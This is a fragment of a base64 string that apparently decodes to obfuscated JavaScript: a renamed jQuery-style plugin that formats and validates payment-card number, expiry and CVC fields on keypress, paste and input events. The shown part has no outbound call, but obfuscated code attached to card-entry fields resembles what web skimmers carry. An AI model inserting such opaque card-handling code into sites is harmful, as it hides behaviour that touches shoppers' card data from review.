dFsnc2VsZWN0aW9uJ11bXzB4M2RkN2U2KDB4MWQzKV0oKVtfMHgzZGQ3ZTYoMHgxMzgpXT8hMHgwOiEweDE7fSxfMHgxYWU5ODM9ZnVuY3Rpb24oXzB4M2IwZjg5LF8weDQzNDQ5NCl7dmFyIF8weDUwNDdiZj1fMHg0OGRlN2QsXzB4NTI4MzM0LF8weDFhZmQ4MCxfMHgyYjEwNDAsXzB4MjJmYWIyLF8weDJlM2YyZixfMHg1NWE5ZmU7dHJ5e18weDFhZmQ4MD1fMHg0MzQ0OTRbXzB4NTA0N2JmKDB4MTViKV0oXzB4NTA0N2JmKDB4MTY1KSk7fWNhdGNoKF8weDQ3NTI2OCl7XzB4MjJmYWIyPV8weDQ3NTI2OCxfMHgxYWZkODA9bnVsbDt9cmV0dXJuIF8weDJlM2YyZj1fMHg0MzQ0OTRbXzB4NTA0N2JmKDB4MTk3KV0oKSxfMHg0MzQ0OTRbXzB4NTA0N2JmKDB4MTk3KV0oXzB4M2IwZjg5KSxudWxsIT09XzB4MWFmZDgwJiZfMHg0MzQ0OTRbJ2lzJ10oXzB4NTA0N2JmKDB4MTk5KSk/KF8weDFhZmQ4MD09PV8weDJlM2YyZlsnbGVuZ3RoJ10mJihfMHgxYWZkODA9XzB4M2IwZjg5W18weDUwNDdiZigweDE3ZCldKSxfMHgyZTNmMmYhPT1fMHgzYjBmODkmJihfMHg1NWE5ZmU9XzB4MmUzZjJmWydzbGljZSddKF8weDFhZmQ4MC0weDEsK18weDFhZmQ4MCsweDF8fDB4MjE4NzExYTAwKSxfMHg1MjgzMzQ9XzB4M2IwZjg5WydzbGljZSddKF8weDFhZmQ4MC0weDEsK18weDFhZmQ4MCsweDF8fDB4MjE4NzExYTAwKSxfMHgyYjEwNDA9XzB4M2IwZjg5W18weDFhZmQ4MF0sL1xkL1tfMHg1MDQ3YmYoMHgxZWQpXShfMHgyYjEwNDApJiZfMHg1NWE5ZmU9PT0nJytfMHgyYjEwNDArJ1x4MjAnJiZfMHg1MjgzMzQ9PT0nXHgyMCcrXzB4MmIxMDQwJiYoXzB4MWFmZDgwKz0weDEpKSxfMHg0MzQ0OTRbJ3Byb3AnXShfMHg1MDQ3YmYoMHgxNjUpLF8weDFhZmQ4MCksXzB4NDM0NDk0W18weDUwNDdiZigweDE1YildKF8weDUwNDdiZigweDEwNiksXzB4MWFmZDgwKSk6dm9pZCAweDA7fSxfMHgzZDQ1NWE9ZnVuY3Rpb24oXzB4NDY2OGQ5KXt2YXIgXzB4MThmMWNiPV8weDQ4ZGU3ZCxfMHg1YjlmYzgsXzB4MzNkZTM5LF8weGZjZTUyYyxfMHgxMWNiOTksXzB4NGE3OTBlLF8weDExOWUyNixfMHg0ZDIwZDQsXzB4MzkzMDcxO2ZvcihudWxsPT1fMHg0NjY4ZDkmJihfMHg0NjY4ZDk9JycpLF8weGZjZTUyYz1fMHgxOGYxY2IoMHgxOGQpLF8weDExY2I5OT1fMHgxOGYxY2IoMHgxOGQpLF8weDExOWUyNj0nJyxfMHg1YjlmYzg9XzB4NDY2OGQ5WydzcGxpdCddKCcnKSxfMHg0ZDIwZDQ9MHgwLF8weDM5MzA3MT1fMHg1YjlmYzhbXzB4MThmMWNiKDB4MTdkKV07XzB4MzkzMDcxPl8weDRkMjBkNDtfMHg0ZDIwZDQrKylfMHgzM2RlMzk9XzB4NWI5ZmM4W18weDRkMjBkNF0sXzB4NGE3OTBlPV8weGZjZTUyY1tfMHgxOGYxY2IoMHhkMyldKF8weDMzZGUzOSksXzB4NGE3OTBlPi0weDEmJihfMHgzM2RlMzk9XzB4MTFjYjk5W18weDRhNzkwZV0pLF8weDExOWUyNis9XzB4MzNkZTM5O3JldHVybiBfMHgxMTllMjY7fSxfMHhiYjU3ZmE9ZnVuY3Rpb24oXzB4NTBlZmE5KXt2YXIgXzB4NDY2YTk3PV8weDQ4ZGU3ZCxfMHg0ODdiY2E7cmV0dXJuIF8weDQ4N2JjYT1fMHg0YzE1ZWUoXzB4NTBlZmE5W18weDQ2NmE5NygweDEwOSldKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIF8weDI4ZTBiYztyZXR1cm4gXzB4MjhlMGJjPV8weDQ4N2JjYVsndmFsJ10oKSxfMHgyOGUwYmM9XzB4M2Q0NTVhKF8weDI4ZTBiYyksXzB4MjhlMGJjPV8weDI4ZTBiY1sncmVwbGFjZSddKC9cRC9nLCcnKSxfMHgxYWU5ODMoXzB4MjhlMGJjLF8weDQ4N2JjYSk7fSk7fSxfMHgyYTEwNzA9ZnVuY3Rpb24oXzB4Mzg5ZThhKXt2YXIgXzB4MTA2MDEyPV8weDQ4ZGU3ZCxfMHg0MzM1YTM7cmV0dXJuIF8weDQzMzVhMz1fMHg0YzE1ZWUoXzB4Mzg5ZThhW18weDEwNjAxMigweDEwOSldKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIF8weDE4Y2ViOT1fMHgxMDYwMTIsXzB4MjE0NzA3O3JldHVybiBfMHgyMTQ3MDc9XzB4NDMzNWEzW18weDE4Y2ViOSgweDE5NyldKCksXzB4MjE0NzA3PV8weDNkNDU1YShfMHgyMTQ3MDcpLF8weDIxNDcwNz1fMHg0YzE1ZWVbJ3BtbnQnXVtfMHgxOGNlYjkoMHhmOCldKF8weDIxNDcwNyksXzB4MWFlOTgzKF8weDIxNDcwNyxfMHg0MzM1YTMpO30pO30sXzB4MjQ0OWE3PWZ1bmN0aW9uKF8weDJkYjM0KXt2YXIgXzB4MmE4MmQ2PV8weDQ4ZGU3ZCxfMHgxZjRjYjIsXzB4NGQ5MjdlLF8weDVkMmZhZixfMHgyZDlmZTAsXzB4NDQxNTVmLF8weDVjZjA2YyxfMHgxZTJlNjI7cmV0dXJuIF8weDVkMmZhZj1TdHJpbmdbXzB4MmE4MmQ2KDB4MTIxKV0oXzB4MmRiMzRbJ3doaWNoJ10pLCEvXlxkKyQvWyd0ZXN0J10oXzB4NWQyZmFmKXx8KF8weDFmNGNiMj1fMHg0YzE1ZWUoXzB4MmRiMzRbXzB4MmE4MmQ2KDB4MTA5KV0pLF8weDFlMmU2Mj1fMHgxZjRjYjJbXzB4MmE4MmQ2KDB4MTk3KV0oKSxfMHg0ZDkyN2U9XzB4NjY2YTcyKF8weDFlMmU2MitfMHg1ZDJmYWYpLF8weDJkOWZlMD0oXzB4MWUyZTYyW18weDJhODJkNigweGYyKV0oL1xEL2csJycpK18weDVkMmZhZilbJ2xlbmd0aCddLF8weDVjZjA2Yz0weDEwLF8weDRkOTI3ZSYmKF8weDVjZjA2Yz1fMHg0ZDkyN2VbJ2xlbmd0aCddW18weDRkOTI3ZVtfMHgyYTgyZDYoMHgxN2QpXVtfMHgyYTgyZDYoMHgxN2QpXS0weDFdKSxfMHgyZDlmZTA+PV8weDVjZjA2Y3x8bnVsbCE9XzB4MWY0Y2IyW18weDJhODJkNigweDE1YildKCdzZWxlY3Rpb25TdGFydCcpJiZfMHgxZjRjYjJbXzB4MmE4MmQ2KDB4MTViKV0oXzB4MmE4MmQ2KDB4MTY1KSkhPT1fMHgxZTJlNjJbXzB4MmE4MmQ2KDB4MTdkKV0pP3ZvaWQgMHgwOihfMHg0NDE1NWY9XzB4NGQ5MjdlJiZfMHgyYTgyZDYoMHhkNCk9PT1fMHg0ZDkyN2VbJ3R5cGUnXT8vXihcZHs0fXxcZHs0fVxzXGR7Nn0pJC86Lyg/Ol58XHMpKFxkezR9KSQvLF8weDQ0MTU1ZltfMHgyYTgyZDYoMHgxZWQpXShfMHgxZTJlNjIpPyhfMHgyZGIzNFsncHJldmVudERlZmF1bHQnXSgpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgXzB4MWU0NDRhPV8weDJhODJkNjtyZXR1cm4gXzB4MWY0Y2IyW18weDFlNDQ0YSgweDE5NyldKF8weDFlMmU2MisnXHgyMCcrXzB4NWQyZmFmKTt9KSk6XzB4NDQxNTVmW18weDJhODJkNigweDFlZCldKF8weDFlMmU2MitfMHg1ZDJmYWYpPyhfMHgyZGIzNFtfMHgyYTgyZDYoMHgxMzApXSgpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtyZXR1cm4gXzB4MWY0Y2IyWyd2YWwnXShfMHgxZTJlNjIrXzB4NWQyZmFmKydceDIwJyk7fSkpOnZvaWQgMHgwKTt9LF8weDU3ODU0OT1mdW5jdGlvbihfMHgxZjFkNGMpe3ZhciBfMHgzNzY0M2Y9XzB4NDhkZTdkLF8weDIwNGU3YixfMHgzOTdjNDtyZXR1cm4gXzB4MjA0ZTdiPV8weDRjMTVlZShfMHgxZjFkNGNbXzB4Mzc2NDNmKDB4MTA5KV0pLF8weDM5N2M0PV8weDIwNGU3YltfMHgzNzY0M2YoMHgxOTcpXSgpLDB4OCE9PV8weDFmMWQ0Y1tfMHgzNzY0M2YoMHgxMDgpXXx8bnVsbCE9XzB4MjA0ZTdiWydwcm9wJ10oJ3NlbGVjdGlvblN0YXJ0JykmJl8weDIwNGU3YltfMHgzNzY0M2YoMHgxNWIpXShfMHgzNzY0M2YoMHgxNjUpKSE9PV8weDM5N2M0WydsZW5ndGgnXT92b2lkIDB4MDovXGRccyQvW18weDM3NjQzZigweDFlZCldKF8weDM5N2M0KT8oXzB4MWYxZDRjWydwcmV2ZW50RGVmYXVsdCddKCksc2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBfMHg0ZDllNzc9XzB4Mzc2NDNmO3JldHVybiBfMHgyMDRlN2JbXzB4NGQ5ZTc3KDB4MTk3KV0oXzB4Mzk3YzRbXzB4NGQ5ZTc3KDB4ZjIpXSgvXGRccyQvLCcnKSk7fSkpOi9cc1xkPyQvW18weDM3NjQzZigweDFlZCldKF8weDM5N2M0KT8oXzB4MWYxZDRjWydwcmV2ZW50RGVmYXVsdCddKCksc2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBfMHhiZGY1MDQ9XzB4Mzc2NDNmO3JldHVybiBfMHgyMDRlN2JbXzB4YmRmNTA0KDB4MTk3KV0oXzB4Mzk3YzRbXzB4YmRmNTA0KDB4ZjIpXSgvXGQkLywnJykpO30pKTp2b2lkIDB4MDt9LF8weDM0NDlmMz1mdW5jdGlvbihfMHg1Y2NmODApe3ZhciBfMHgxODQyZDM7cmV0dXJuIF8weDE4NDJkMz1fMHg0YzE1ZWUoXzB4NWNjZjgwWydjdXJyZW50VGFyZ2V0J10pLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgXzB4MmMxMjRhPV8weDJmMzcsXzB4M2QzODI0O3JldHVybiBfMHgzZDM4MjQ9XzB4MTg0MmQzW18weDJjMTI0YSgweDE5NyldKCksXzB4M2QzODI0PV8weDNkNDU1YShfMHgzZDM4MjQpLF8weDNkMzgyND1fMHg0YzE1ZWVbXzB4MmMxMjRhKDB4MWMzKV1bXzB4MmMxMjRhKDB4MTU2KV0oXzB4M2QzODI0KSxfMHgxYWU5ODMoXzB4M2QzODI0LF8weDE4NDJkMyk7fSk7fSxfMHg3ZTBiYjY9ZnVuY3Rpb24oXzB4MzUzZGI3KXt2YXIgXzB4NDMxOGI5PV8weDQ4ZGU3ZCxfMHgzNmQyYTIsXzB4Mzk4YThkLF8weDVkZjllODtyZXR1cm4gXzB4Mzk4YThkPVN0cmluZ1tfMHg0MzE4YjkoMHgxMjEpXShfMHgzNTNkYjdbXzB4NDMxOGI5KDB4MTA4KV0pLC9eXGQrJC9bJ3Rlc3QnXShfMHgzOThhOGQpPyhfMHgzNmQyYTI9XzB4NGMxNWVlKF8weDM1M2RiN1snY3VycmVudFRhcmdldCddKSxfMHg1ZGY5ZTg9XzB4MzZkMmEyW18weDQzMThiOSgweDE5NyldKCkrXzB4Mzk4YThkLC9eXGQkL1tfMHg0MzE4YjkoMHgxZWQpXShfMHg1ZGY5ZTgpJiYnMCchPT1fMHg1ZGY5ZTgmJicxJyE9PV8weDVkZjllOD8oXzB4MzUzZGI3W18weDQzMThiOSgweDEzMCldKCksc2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBfMHgxMmM5YWM9XzB4NDMxOGI5O3JldHVybiBfMHgzNmQyYTJbJ3ZhbCddKCcwJytfMHg1ZGY5ZTgrXzB4MTJjOWFjKDB4ZjApKTt9KSk6L15cZFxkJC9bJ3Rlc3QnXShfMHg1ZGY5ZTgpPyhfMHgzNTNkYjdbXzB4NDMxOGI5KDB4MTMwKV0oKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIF8weDU3NGI4ND1fMHg0MzE4YjksXzB4YTIyYjlhLF8weDIyMWY0MztyZXR1cm4gXzB4YTIyYjlhPXBhcnNlSW50KF8weDVkZjllOFsweDBdLDB4YSksXzB4MjIxZjQzPXBhcnNlSW50KF8weDVkZjllOFsweDFdLDB4YSksXzB4MjIxZjQzPjB4MiYmMHgwIT09XzB4YTIyYjlhP18weDM2ZDJhMltfMHg1NzRiODQoMHgxOTcpXSgnMCcrXzB4YTIyYjlhK18weDU3NGI4NCgweGYwKStfMHgyMjFmNDMpOl8weDM2ZDJhMltfMHg1NzRiODQoMHgxOTcpXSgnJytfMHg1ZGY5ZTgrXzB4NTc0Yjg0KDB4ZjApKTt9KSk6dm9pZCAweDApOnZvaWQgMHgwO30sXzB4NGVlODg5PWZ1bmN0aW9uKF8weGMwZDkyMil7dmFyIF8weGNmYThkYj1fMHg0OGRlN2QsXzB4MzBlYWRiLF8weDU3MDQ3NSxfMHgzZjhiNWE7cmV0dXJuIF8weDU3MDQ3NT1TdHJpbmdbXzB4Y2ZhOGRiKDB4MTIxKV0oXzB4YzBkOTIyW18weGNmYThkYigweDEwOCldKSwvXlxkKyQvW18weGNmYThkYigweDFlZCldKF8weDU3MDQ3NSk/KF8weDMwZWFkYj1fMHg0YzE1ZWUoXzB4YzBkOTIyW18weGNmYThkYigweDEwOSldKSxfMHgzZjhiNWE9XzB4MzBlYWRiW18weGNmYThkYigweDE5NyldKCksL15cZFxkJC9bXzB4Y2ZhOGRiKDB4MWVkKV0oXzB4M2Y4YjVhKT9fMHgzMGVhZGJbJ3ZhbCddKCcnK18weDNmOGI1YStfMHhjZmE4ZGIoMHhmMCkpOnZvaWQgMHgwKTp2b2lkIDB4MDt9LF8weDJmMWNkZT1mdW5jdGlvbihfMHgyZWU0NzIpe3ZhciBfMHg1YjU3ZjM9XzB4NDhkZTdkLF8weDg5Y2UwZSxfMHg1NjU1NTQsXzB4MzQ5NzhjO3JldHVybiBfMHgzNDk3OGM9U3RyaW5nW18weDViNTdmMygweDEyMSldKF8weDJlZTQ3MltfMHg1YjU3ZjMoMHgxMDgpXSksJy8nPT09XzB4MzQ5NzhjfHwnXHgyMCc9PT1fMHgzNDk3OGM/KF8weDg5Y2UwZT1fMHg0YzE1ZWUoXzB4MmVlNDcyW18weDViNTdmMygweDEwOSldKSxfMHg1NjU1NTQ9XzB4ODljZTBlW18weDViNTdmMygweDE5NyldKCksL15cZCQvW18weDViNTdmMygweDFlZCldKF8weDU2NTU1NCkmJicwJyE9PV8weDU2NTU1ND9fMHg4OWNlMGVbJ3ZhbCddKCcwJytfMHg1NjU1NTQrXzB4NWI1N2YzKDB4ZjApKTp2b2lkIDB4MCk6dm9pZCAweDA7fSxfMHgzZTVlMGM9ZnVuY3Rpb24oXzB4MWZlNzgwKXt2YXIgXzB4MjdhMzE4PV8weDQ4ZGU3ZCxfMHhjNDAwM2MsXzB4MjExZGM0O3JldHVybiBfMHhjNDAwM2M9XzB4NGMxNWVlKF8weDFmZTc4MFtfMHgyN2EzMTgoMHgxMDkpXSksXzB4MjExZGM0PV8weGM0MDAzY1sndmFsJ10oKSwweDghPT1fMHgxZmU3ODBbXzB4MjdhMzE4KDB4MTA4KV18fG51bGwhPV8weGM0MDAzY1tfMHgyN2EzMTgoMHgxNWIpXShfMHgyN2EzMTgoMHgxNjUpKSYmXzB4YzQwMDNjW18weDI3YTMxOCgweDE1YildKF8weDI3YTMxOCgweDE2NSkpIT09XzB4MjExZGM0WydsZW5ndGgnXT92b2lkIDB4MDovXGRcc1wvXHMkL1tfMHgyN2EzMTgoMHgxZWQpXShfMHgyMTFkYzQpPyhfMHgxZmU3ODBbXzB4MjdhMzE4KDB4MTMwKV0oKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIF8weDMyZDZhZT1fMHgyN2EzMTg7cmV0dXJuIF8weGM0MDAzY1tfMHgzMmQ2YWUoMHgxOTcpXShfMHgyMTFkYzRbJ3JlcGxhY2UnXSgvXGRcc1wvXHMkLywnJykpO30pKTp2b2lkIDB4MDt9LF8weDVlYTAwMD1mdW5jdGlvbihfMHgzMDY5NDYpe3ZhciBfMHgzNWNjNzc9XzB4NDhkZTdkLF8weDJmNTU5ZjtyZXR1cm4gXzB4MmY1NTlmPV8weDRjMTVlZShfMHgzMDY5NDZbXzB4MzVjYzc3KDB4MTA5KV0pLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgXzB4MWZmODkxPV8weDM1Y2M3NyxfMHg0YzcwNzg7cmV0dXJuIF8weDRjNzA3OD1fMHgyZjU1OWZbXzB4MWZmODkxKDB4MTk3KV0oKSxfMHg0YzcwNzg9XzB4M2Q0NTVhKF8weDRjNzA3OCksXzB4NGM3MDc4PV8weDRjNzA3OFsncmVwbGFjZSddKC9cRC9nLCcnKVtfMHgxZmY4OTEoMHgxNzcpXSgweDAsMHg0KSxfMHgxYWU5ODMoXzB4NGM3MDc4LF8weDJmNTU5Zik7fSk7fSxfMHg0ZjEyZTc9ZnVuY3Rpb24oXzB4YjgzZTdmKXt2YXIgXzB4NWU3ZGIzPV8weDQ4ZGU3ZCxfMHg0NjY5Zjg7cmV0dXJuIF8weGI4M2U3ZltfMHg1ZTdkYjMoMHgxOWIpXXx8XzB4YjgzZTdmWydjdHJsS2V5J10/ITB4MDoweDIwPT09XzB4YjgzZTdmWyd3aGljaCddPyEweDE6MHgwPT09XzB4YjgzZTdmW18weDVlN2RiMygweDEwOCldPyEweDA6XzB4YjgzZTdmW18weDVlN2RiMygweDEwOCldPDB4MjE/ITB4MDooXzB4NDY2OWY4PVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4YjgzZTdmWyd3aGljaCddKSwhIS9bXGRcc10vW18weDVlN2RiMygweDFlZCldKF8weDQ2NjlmOCkpO30sXzB4MTRiYjE3PWZ1bmN0aW9uKF8weDE0MmQ1ZCl7dmFyIF8weDFkZWNmND1fMHg0OGRlN2QsXzB4MmVjNGIzLF8weDJhMDkxZixfMHgyMjE2YzEsXzB4MWM0YTk0O3JldHVybiBfMHgyZWM0YjM9XzB4NGMxNWVlKF8weDE0MmQ1ZFtfMHgxZGVjZjQoMHgxMDkpXSksXzB4MjIxNmMxPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4MTQyZDVkW18weDFkZWNmNCgweDEwOCldKSwvXlxkKyQvWyd0ZXN0J10oXzB4MjIxNmMxKSYmIV8weDQ3YWVjZChfMHgyZWM0YjMpPyhfMHgxYzRhOTQ9KF8weDJlYzRiM1sndmFsJ10oKStfMHgyMjE2YzEpW18weDFkZWNmNCgweGYyKV0oL1xEL2csJycpLF8weDJhMDkxZj1fMHg2NjZhNzIoXzB4MWM0YTk0KSxfMHgyYTA5MWY/XzB4MWM0YTk0WydsZW5ndGgnXTw9XzB4MmEwOTFmW18weDFkZWNmNCgweDE3ZCldW18weDJhMDkxZltfMHgxZGVjZjQoMHgxN2QpXVtfMHgxZGVjZjQoMHgxN2QpXS0weDFdOl8weDFjNGE5NFtfMHgxZGVjZjQoMHgxN2QpXTw9MHgxMCk6dm9pZCAweDA7fSxfMHgyNDI0ZTk9ZnVuY3Rpb24oXzB4NTY3MTBiKXt2YXIgXzB4MjIyOWMwPV8weDQ4ZGU3ZCxfMHgyMGRhODMsXzB4Yjk1MTBhLF8weDIwOGI4MTtyZXR1cm4gXzB4MjBkYTgzPV8weDRjMTVlZShfMHg1NjcxMGJbXzB4MjIyOWMwKDB4MTA5KV0pLF8weGI5NTEwYT1TdHJpbmdbXzB4MjIyOWMwKDB4MTIxKV0oXzB4NTY3MTBiW18weDIyMjljMCgweDEwOCldKSwvXlxkKyQvWyd0ZXN0J10oXzB4Yjk1MTBhKSYmIV8weDQ3YWVjZChfMHgyMGRhODMpPyhfMHgyMDhiODE9XzB4MjBkYTgzWyd2YWwnXSgpK18weGI5NTEwYSxfMHgyMDhiODE9XzB4MjA4YjgxW18weDIyMjljMCgweGYyKV0oL1xEL2csJycpLF8weDIwOGI4MVsnbGVuZ3RoJ10+MHg2PyEweDE6dm9pZCAweDApOnZvaWQgMHgwO30sXzB4MzkyNjc1PWZ1bmN0aW9uKF8weDRkNTJjOCl7dmFyIF8weDJhNDE0MT1fMHg0OGRlN2QsXzB4NDc5ZTdmLF8weDU1ZjE2YSxfMHg1NjIzMmI7cmV0dXJuIF8weDQ3OWU3Zj1fMHg0YzE1ZWUoXzB4NGQ1MmM4W18weDJhNDE0MSgweDEwOSldKSxfMHg1NWYxNmE9U3RyaW5nW18weDJhNDE0MSgweDEyMSldKF8weDRkNTJjOFsnd2hpY2gnXSksL15cZCskL1tfMHgyYTQxNDEoMHgxZWQpXShfMHg1NWYxNmEpJiYhXzB4NDdhZWNkKF8weDQ3OWU3Zik/KF8weDU2MjMyYj1fMHg0NzllN2ZbXzB4MmE0MTQxKDB4MTk3KV0oKStfMHg1NWYxNmEsXzB4NTYyMzJiW18weDJhNDE0MSgweDE3ZCldPD0weDQpOnZvaWQgMHgwO30sXzB4MzAzODI5PWZ1bmN0aW9uKF8weDU1NTM2YSl7dmFyIF8weDUzZDk1ND1fMHg0OGRlN2QsXzB4MTM4YzkwLF8weDEwYTk4NSxfMHgzODRmOGYsXzB4MTExNjhiLF8weDNjYzkxODtyZXR1cm4gXzB4MTM4YzkwPV8weDRjMTVlZShfMHg1NTUzNmFbJ2N1cnJlbnRUYXJnZXQnXSksXzB4M2NjOTE4PV8weDEzOGM5MFsndmFsJ10oKSxfMHgxMTE2OGI9XzB4NGMxNWVlWydwbW50J11bJ2NyX2RfVHlwJ10oXzB4M2NjOTE4KXx8XzB4NTNkOTU0KDB4MTg4KSxfMHgxMzhjOTBbJ2hhc0NsYXNzJ10oXzB4MTExNjhiKT92b2lkIDB4MDooXzB4MTBhOTg1PShmdW5jdGlvbigpe3ZhciBfMHg1ODhhZjg9XzB4NTNkOTU0LF8weDRmNDVjMCxfMHg1NmEzOWYsXzB4NGZlMjMwO2ZvcihfMHg0ZmUyMzA9W10sXzB4NGY0NWMwPTB4MCxfMHg1NmEzOWY9XzB4MWU1NDBiW18weDU4OGFmOCgweDE3ZCldO18weDU2YTM5Zj5fMHg0ZjQ1YzA7XzB4NGY0NWMwKyspXzB4Mzg0ZjhmPV8weDFlNTQwYltfMHg0ZjQ1YzBdLF8weDRmZTIzMFtfMHg1ODhhZjgoMHgxMGEpXShfMHgzODRmOGZbXzB4NTg4YWY4KDB4MWUwKV0pO3JldHVybiBfMHg0ZmUyMzA7fSgpKSxfMHgxMzhjOTBbXzB4NTNkOTU0KDB4MTdlKV0oXzB4NTNkOTU0KDB4MTg4KSksXzB4MTM4YzkwW18weDUzZDk1NCgweDE3ZSldKF8weDEwYTk4NVtfMHg1M2Q5NTQoMHgxOGYpXSgnXHgyMCcpKSxfMHgxMzhjOTBbXzB4NTNkOTU0KDB4MTJkKV0oXzB4MTExNjhiKSxfMHgxMzhjOTBbXzB4NTNkOTU0KDB4MWU4KV0oJ2lkZW50aWZpZWQnLF8weDUzZDk1NCgweDE4OCkhPT1fMHgxMTE2OGIpLF8weDEzOGM5MFtfMHg1M2Q5NTQoMHgxNjApXShfMHg1M2Q5NTQoMHgxYjUpLF8weDExMTY4YikpO30sXzB4NGMxNWVlW18weDQ4ZGU3ZCgweDFjMyldWydmbiddW18weDQ4ZGU3ZCgweDFkNCldPWZ1bmN0aW9uKCl7dmFyIF8weDM0YzdmZD1fMHg0OGRlN2Q7cmV0dXJuIHRoaXNbJ29uJ10oXzB4MzRjN2ZkKDB4ZGMpLF8weDRmMTJlNyksdGhpc1snb24nXSgna2V5cHJlc3MnLF8weDM5MjY3NSksdGhpc1snb24nXShfMHgzNGM3ZmQoMHgxMTgpLF8weDVlYTAwMCksdGhpc1snb24nXShfMHgzNGM3ZmQoMHgxYjYpLF8weDVlYTAwMCksdGhpc1snb24nXShfMHgzNGM3ZmQoMHgxODUpLF8weDVlYTAwMCksdGhpczt9LF8weDRjMTVlZVtfMHg0OGRlN2QoMHgxYzMpXVsnZm4nXVtfMHg0OGRlN2QoMHgxYzIpXT1mdW5jdGlvbigpe3ZhciBfMHg1YTdkNjc9XzB4NDhkZTdkO3JldHVybiB0aGlzWydvbiddKF8weDVhN2Q2NygweGRjKSxfMHg0ZjEyZTcpLHRoaXNbJ29uJ10oJ2tleXByZXNzJyxfMHgyNDI0ZTkpLHRoaXNbJ29uJ10oJ2tleXByZXNzJyxfMHg3ZTBiYjYpLHRoaXNbJ29uJ10oXzB4NWE3ZDY3KDB4ZGMpLF8weDJmMWNkZSksdGhpc1snb24nXSgna2V5cHJlc3MnLF8weDRlZTg4OSksdGhpc1snb24nXSgna2V5ZG93bicsXzB4M2U1ZTBjKSx0aGlzWydvbiddKF8weDVhN2Q2NygweDFiNiksXzB4MzQ0OWYzKSx0aGlzWydvbiddKCdpbnB1dCcsXzB4MzQ0OWYzKSx0aGlzO30sXzB4NGMxNWVlW18weDQ4ZGU3ZCgweDFjMyldWydmbiddW18weDQ4ZGU3ZCgweGY4KV09ZnVuY3Rpb24oKXt2YXIgXzB4MTlhNDU2PV8weDQ4ZGU3ZDtyZXR1cm4gdGhpc1snb24nXShfMHgxOWE0NTYoMHhkYyksXzB4NGYxMmU3KSx0aGlzWydvbiddKF8weDE5YTQ1NigweGRjKSxfMHgxNGJiMTcpLHRoaXNbJ29uJ10oJ2tleXByZXNzJyxfMHgyNDQ5YTcpLHRoaXNbJ29uJ10oJ2tleWRvd24nLF8weDU3ODU0OSksdGhpc1snb24nXShfMHgxOWE0NTYoMHgxOWMpLF8weDMwMzgyOSksdGhpc1snb24nXShfMHgxOWE0NTYoMHgxMTgpLF8weDJhMTA3MCksdGhpc1snb24nXSgnY2hhbmdlJyxfMHgyYTEwNzApLHRoaXNbJ29uJ10oXzB4MTlhNDU2KDB4MTg1KSxfMHgyYTEwNzApLHRoaXNbJ29uJ10oJ2lucHV0JyxfMHgzMDM4MjkpLHRoaXM7fSxfMHg0YzE1ZWVbJ3BtbnQnXVsnZm4nXVtfMHg0OGRlN2QoMHgxNTQpXT1mdW5jdGlvbigpe3ZhciBfMHgzYTgwNGY9XzB4NDhkZTdkO3JldHVybiB0aGlzWydvbiddKF8weDNhODA0ZigweGRjKSxfMHg0ZjEyZTcpLHRoaXNbJ29uJ10oXzB4M2E4MDRmKDB4MTE4KSxfMHhiYjU3ZmEpLHRoaXNbJ29uJ10oXzB4M2E4MDRmKDB4MWI2KSxfMHhiYjU3ZmEpLHRoaXNbJ29uJ10oXzB4M2E4MDRmKDB4MTg1KSxfMHhiYjU3ZmEpLHRoaXM7fSxfMHg0YzE1ZWVbJ3BtbnQnXVsnZm4nXVtfMHg0OGRlN2QoMHhjZSldPWZ1bmN0aW9uKCl7dmFyIF8weDE4NDk5ZD1fMHg0OGRlN2Q7cmV0dXJuIF8weDRjMTVlZVtfMHgxODQ5OWQoMHgxYzMpXVtfMHgxODQ5OWQoMHhjZSldKF8weDRjMTVlZSh0aGlzKVtfMHgxODQ5OWQoMHgxOTcpXSgpKTt9LF8weDRjMTVlZVtfMHg0OGRlN2QoMHgxYzMpXVtfMHg0OGRlN2QoMHhjZSldPWZ1bmN0aW9uKF8weDIyMDI4Zil7dmFyIF8weDVhNzk3ZD1fMHg0OGRlN2QsXzB4MjlkNmM4LF8weDM2OWE0ZixfMHgxNWVjODgsXzB4ZGJiYWE4O3JldHVybiBfMHhkYmJhYTg9XzB4MjIwMjhmW18weDVhNzk3ZCgweGM3KV0oL1tcc1wvXSsvLDB4MiksXzB4MjlkNmM4PV8weGRiYmFhOFsweDBdLF8weDE1ZWM4OD1fMHhkYmJhYThbMHgxXSwweDI9PT0obnVsbCE9XzB4MTVlYzg4P18weDE1ZWM4OFsnbGVuZ3RoJ106dm9pZCAweDApJiYvXlxkKyQvWyd0ZXN0J10oXzB4MTVlYzg4KSYmKF8weDM2OWE0Zj1uZXcgRGF0ZSgpW18weDVhNzk3ZCgweDFlZildKCksXzB4MzY5YTRmPV8weDM2OWE0ZltfMHg1YTc5N2QoMHhlYSldKClbXzB4NWE3OTdkKDB4MTc3KV0oMHgwLDB4MiksXzB4MTVlYzg4PV8weDM2OWE0ZitfMHgxNWVjODgpLF8weDI5ZDZjOD1wYXJzZUludChfMHgyOWQ2YzgsMHhhKSxfMHgxNWVjODg9cGFyc2VJbnQoXzB4MTVlYzg4LDB4YSkseydtb250aCc6XzB4MjlkNmM4LCd5ZWFyJzpfMHgxNWVjODh9O30sXzB4NGMxNWVlW18weDQ4ZGU3ZCgweDFjMyldW18weDQ4ZGU3ZCgweGJmKV09ZnVuY3Rpb24oXzB4OGRlYjQ4KXt2YXIgXzB4M2MxMmY5PV8weDQ4ZGU3ZCxfMHgyNmJjOWIsXzB4MjQzMzk1O3JldHVybiBfMHg4ZGViNDg9KF8weDhkZWI0OCsnJylbXzB4M2MxMmY5KDB4ZjIpXSgvXHMrfC0vZywnJyksL15cZCskL1sndGVzdCddKF8weDhkZWI0OCk/KF8weDI2YmM5Yj1fMHg2NjZhNzIoXzB4OGRlYjQ4KSxfMHgyNmJjOWI/KF8weDI0MzM5NT1fMHg4ZGViNDhbXzB4M2MxMmY5KDB4MTdkKV0s